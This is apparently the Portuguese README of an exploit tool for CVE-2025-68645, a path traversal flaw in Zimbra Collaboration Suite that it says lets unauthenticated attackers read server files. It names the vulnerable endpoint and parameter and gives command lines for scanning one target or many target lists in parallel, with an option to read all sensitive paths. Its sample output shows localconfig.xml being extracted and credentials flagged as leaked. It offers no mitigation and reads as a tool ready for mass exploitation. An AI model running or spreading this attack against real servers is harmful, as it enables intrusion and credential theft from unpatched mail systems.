CVE-2025-68645 - Vulnerabilidade de Path Traversal no Zimbra

📋 Visão Geral

CVE-2025-68645 é uma vulnerabilidade de path traversal no Zimbra Collaboration Suite que permite que atacantes não autenticados leiam arquivos arbitrários do sistema de arquivos do servidor.

Endpoint Vulnerável

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Impacto

📁 Arquivos Legíveis

🚀 Uso

Varredura de Alvo Único

python CVE-2025-68645.py.py -t https://target.zimbra.com

Varredura em Massa

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Opções Avançadas

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Argumentos de Linha de Comando

Argumento Descrição Padrão -t, --target URL do alvo único None -l, --list Arquivo contendo lista de alvos None -o, --output Nome do arquivo de saída results.json --threads Número de threads concorrentes 10 --timeout Timeout da requisição em segundos 15 -v, --verbose Ativar saída detalhada False --no-verify Desativar verificação SSL False --read-all Ler todos os caminhos sensíveis False

📸 Exemplo de Saída

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0